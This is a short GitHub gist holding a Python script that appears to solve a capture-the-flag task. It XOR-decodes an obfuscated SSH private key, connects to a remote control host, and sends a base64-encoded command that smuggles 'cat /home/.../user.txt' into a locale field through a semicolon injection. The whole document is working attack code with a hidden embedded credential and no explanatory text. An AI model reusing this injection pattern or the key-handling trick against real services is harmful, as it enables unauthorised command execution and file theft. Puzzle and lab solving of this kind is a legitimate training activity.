Skip to content

Instantly share code, notes, and snippets.

@Adikso
Created November 15, 2021 20:59
Show Gist options
  • Save Adikso/c794b66d48936bd684a645d6c20225d8 to your computer and use it in GitHub Desktop.
Save Adikso/c794b66d48936bd684a645d6c20225d8 to your computer and use it in GitHub Desktop.
import base64
import io
import paramiko
pke = b'^\x18\x1c\x19\x1fz|vx\x7fSzaq|kjy\x11a!|guf}\x19zth^\x18\x1c\x19\x1f2[\x02s]\x11[\x7fNS{\x08Cki\x18AU^wyxppp1r\x04BPUlppp2pSY\x0bMc`pp2tpusyxspp2w]CsyxpUK\x10\x07V@QV3\x7fYp2tpuE}xp`p2thqsTAe\x1aG>cK\x0c\x04\x7f\x0cb[V6\rADYHV\x06\x03{\\\\\x02gKPSDx\x1e*v\x01\x03xuP\x08eI\x1b\\zA\x02ln;\x08}&cwN|^U{\x7fyGGfb]NA]rE%{RN~N`PEr<\x01\tuT\x0b\x16xce\x1d]V~jW\x7fz\x04\x08$\x02\x01\rC^oxZW\x14W|P{\x7f\x0c\x08;W*\x03]sZZ\x12s[r\x05yKl\x00\n@|cZ dasDt\x00}\x05^\x04\x07hWcUr\x7f\tE\x00l~pE_N\x04\x1ak7~F~y@S\x07HI+b\x08XsM\t\x08\x1a;5Eg\x04|VUatGKQXbpt]IpI\x17\x1ayu^Sv\x1e\x01p\x1cxZY^\rCX\x00I\x1e^\x02\x7fAbh\x05DkD~vnym\\\x01b`K\x7ft\x06{}s\x7fF\tye\x7fS\x06jNgIt\x18_hW\x05I{K_k\x05\x0c@FVqnabU\x18aaQemN}ks\x02q[ny\x7f~\x02usXd\x03F\x03O|i\x00e+\x06ZSPPada\x06\n?WQg[^\x03v[2P\x1a\\\x0bO\x0cBv^\x14suy\\q\x01UbY\x1f`zW\x19\nhwEd\\\x1e\x1a\x06\x01h|f\x01\x07\x19Ss\x02TKKfx[:ahq{Z\x0ftaE\x18v;XCqXGTP?^wf\x0bRA\x07k\x1e=\x0cYYFmZXhS2ddE`\\lz\x07a<X\x04l|\x13ha\x02\x1a\x03\x03IRuLUyfx\x07ZpnCBcz\x08\x05\x10E[>VaT\x04x\x03*\x04_z\x05~\x08f_c\n\x02VBb\x0c\x00czk:vCUG\x13hfp\t GFXsyxw^x$CCNW~K\x07\t\x022tpup\x0bwKPrBLR\x068}xppv1t{Wg\x17KKwR\\zYAgW\rsaz\x12ozU}\x01PW\x05ECF^m\x05Qi\x03pE<Le}Dm\x01hhX\x01At\x05Dk\x08wcR\tm\x04gf2k\x1az\x00\x1fT}\x0chiKgei>L\x06\x06uJh[Da2}\x08\x1bK}l\x04\x05h0c\x07vaM_gD\x08#T_\x05arq\x05vK;fsAT`\x0b~Ac\x1cb\x1eSkO3CH\tB\x0cEGX}ctZu\x0bGH\x1ba\x13r|\x7f\\;p{]X^uSvu\x14\rxy}^T`HB0fBm\x19KJg\x00G)d}@b^QPgU7o\x04`Jt\x16;yh\x1fdb\x07QitiWI\x04\x7fkpD\x01xzu{9ETW\x06LZkA\x7f\nGva}tTTHY\x1ef]|F}Rarc=\\swf[iuKh<pRrQjsx;\x03;z\x07SQ\r\x0bS\x1eP\x02\x06brX\x08WktK@Y]yq\nhPV\x05AfY\\FONWZ\x7f\x02\x0cRvt\x01l\x00\x08\x04:r\x05b\x03|\x12\t_\x02\x1f}xzZWNyG;\x1cSR{PzHxs`\t\x7fHdzmVkgr\x1deE_pZoa\x1eG\x07AKLtLv^\x02F\x16[\x06\x7f\x03QpHt\x031vv\x1fZ|\x0ekpA\x12\\vF\x01UP\x04sdySh\x0cWU_KWh)Gg|{U~Ftw8^ibqMSKAD%OW_v\x01\x16@TB+MCn`\tP}Pp4TB\x06aN\\yzh@b{AavT\x7fkK\x16?IPdH\tRD\x05?O\x1adgkTbp@AGG_t_it@\t9dpusytspp6tpuuzxx|G+V_\x00sYS{p@\'Eh\x01xKZi\x01f\x1cW;yDQXXWwGSx^Ko@Rh\x01D\x1aISp[\x0bd|SC}^S@U\tXpW\x04ZG]\x19z\rz`T\x14dVr@q@IY\x01\x16ZU}Bb\x0cE~uC\x06R>\x07UOzGB\x0brW@\x0btN~w\x01JrrU\x19tpi\x00A\x00\x04]\x04Bhv\x01YK\x03pI\x03XuL\x7f\x07@GG`{Z`Z\x02rA%P\x1eA\x1d||PFh<cs`8jk\x02dg#y_C\x19Z@Yx\t7}Xd~{H`Ze\x1aO\x03\x0c\x06KJxX}Gp]{vbUytyCx\x07uQKtU{P8\x7fHz\x03@PSSD\'gYzT2\x16~zhX\x06s\\\x04KXED_"b^\x06D_zS`|\'S~\x00P\x0fiyX\x070`\x07m{\x01\x01~}g\x07rwf`q]eUr\x18@\x00\x01\x04YJApe\x19Wvs\nW3\x05A\x05\x01ZWS\x06_\x0fr}yKv\x01\x0ca`sYk\x1e\x06[VBg\x0b|uwe\x18\x01\x08Z\x1dsRhWZ$\x04Gfw\x13vUA\x1e\x02\\XXh\x13icwk&\x06\x00yjJQ;\t\x7f6vAF\x7f}]\x7feg\x16D\x04MXkL}@g%\x01Cf\x06Z]B\\\\\x01~V\x05\x1d}aV~\x7f#\x7fyxjovA\x06\x05\'\\]Xfw\x00vaz4RZ\x03\\[wV;P9yKm\x19Bn|KK\x07Yvl\\rAw\x00a8OKCs\x13WGG`\n\x02U\x06Chw\x05uu4\x02xqEl|gf_\x02vbw\x07\x0eR]uk\x19z\x00\\C_hpp;2xpy`_]Gxg$x`Qjli\x1aYI\x19fbP\x07Z\x00\x01[T2Pz\r\\NA\t{iFO\x01mhPN|fF\x1f_PuKlHVwF\x16\x00_pW\nH\x1aKdyzHE\n\r\rSz@\x19\x06t\x1b\x19LjU[A;o[|@ho`\\HJY\x7f^}RqyE^\\FrZ@\x13\x12t\x05x%XH\x0c\x01y|iu\x7fF}]\x07x\x0ea{CV;?P]`mjHYt\x03LszJU\x0e\x7f\x02~$r\x00Qc_uf{\x01<a\t{K\r\x0f{\t\x1eEX\x05zaBvUhCDSaf`\x0bK\tS\x01\x19f_\x07{m@dB\x058d;^S]\x7f\tI\x05\x01D\x01sJ\r\x00\x03D^\n\x06C`^ywA\x1eP"\x06\x03{f\x7fWGf}$xv~STH\x08HY7Vpus|{p|b\t\x06g[\x06`\x7f\x02\x04r\tFS>EJaI\x05H4Mps`OTtFHD\x07aB@r\x0bS\x05}\x04`iv|Jt][\x037afU\x07\\Qg\x05I:}anUR[g__\x15bC_QOQXBW\x12rI[8OP|]G1GExf\x0f@t\\v\x18\x04f\x0cDmUEYA*\x7fp_aaNTZ\x7f\x14^C\r|HMki`<w`d\x19H\tSII?EXB\x1dk|[si\x11S[a\x012vvFp\x1f\x05Ps\x00YtyiD=FyV]Y\x0bFh\x1a\x02\\HZ~m}D\x08`K@\x07p[L@wKP\x14\x01GmPm\t\x06gC;{UEu\n``tp!\x04p]GT3\x01\x7fg9Yz~zZr|\\\x005MPba}[_b\x011s|ae|_\x01`p2t|qs@rsK^\x1bXgPj\x7fQyE\t:`@UVS\x0bZH_\x1f\x1a\\N\x05\x13T;\x1erXpREY\x0f\x08\x1e\x03c\x19ATdE{]afv\x0b\x0cp``y\rSex\x1be|zg\x0b\x0f\x07zrF\\EPJIX\x05hs;}cG@l\x0b\x02c[GXUZY^@_;yX\\[n\x1dZ\x0fbh|\x16t~N\x05PvSr}\x1epVEhWkRv^\x1fAxy~h\x0ebK~\x1fvHad[RD@t8z\x1aFT\x0cQPV\x05<VB\\Z\x0fVKG;2gDz\x0bu\\x\\\x04;\x1aeaU\x08S_fg$]A@s`xxxA4E`w\x06jau\x07T\x0bWS~g\x00THFY%rrwhr[hA\x00\tMUQeW\x0cAtUyr\x01Z`w[i\x00|Ff\\udyxpp{As\x07PjrUhfc\x10ov\rFYn\x04APAAGW\x01jUh\x03E\x03dtLpm\x7fcad0\x04s{w_\r|\x00{<?\x7fCw{xF\x0c\x0cy\x18\x1c\x19\x1f\x15|\x7fu\x11<etzakq\x11ac:cp`w\x18rth\x1c^\x18\x1c\x19'
def x(plain_text, key):
pt = plain_text
len_key = len(key)
encoded = []
for i in range(0, len(pt)):
encoded.append(pt[i] ^ key[i % len_key])
return bytes(encoded)
pk = '{}'.format(x(pke, b's514289111').decode())
c = paramiko.SSHClient()
c.set_missing_host_key_policy(paramiko.AutoAddPolicy())
ck = paramiko.RSAKey.from_private_key(io.StringIO(pk))
c.connect('ctrl.ecorp.su', username='s514289111', port=52222, pkey=ck)
st = f'''ru_RU|-3.0|psa;cat /home/s514289111/user.txt'''
st_b = st.encode('ascii')
st_64 = base64.b64encode(st_b)
st_64m = st_64.decode('ascii')
stdin, stdout, stderr = c.exec_command(f'MANAGE {st_64m}')
print(stdout.readlines()[-1])
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment